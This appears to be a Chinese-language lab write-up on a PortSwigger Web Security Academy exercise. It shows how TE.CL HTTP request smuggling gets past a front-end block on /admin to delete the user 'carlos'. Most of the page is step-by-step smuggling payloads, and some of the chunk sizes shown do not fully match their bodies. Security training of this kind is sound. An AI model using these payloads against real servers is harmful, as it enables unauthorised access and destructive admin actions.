> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-te-cl.md).
# 通过 TE.CL 绕过前端安全
通过 TE.CL 绕过前端安全笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私绕过前端安全控制，TE.CL 漏洞
该系统基于前端服务器和后端服务器。/ 后端 **不处理分块编码**，而前端 **锁定对 /admin 的访问**. / 目标是 **伪装一个对 /admin 的请求** 以删除 carlos 用户。
尽管该应用支持 HTTP/2，但利用基于 HTTP/1 特有的技术。
#### **初始观察**
前端正确解析 `Transfer-Encoding: chunked`。/ 我们首先发送一个简单请求：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **走私请求的构造**
一个 **新的完整请求** 被注入到分块正文中。
#### **准备模型**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 大小
Transfer-Encoding: chunked
大小
GET /admin HTTP/1.1
Host: localhost
Content-Length: 大小
test=testing
0
```
#### **大小调整**
一个最小值 `Content-Length` 前端侧的值被固定，后面跟着一个包含走私请求的分块：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
服务器能正确解析注入的请求。
#### **注入最终的删除 Carlos 请求**
目标请求被替换为一个用户删除请求：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
然后该走私请求会直接由后端处理，完全绕过前端过滤。
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
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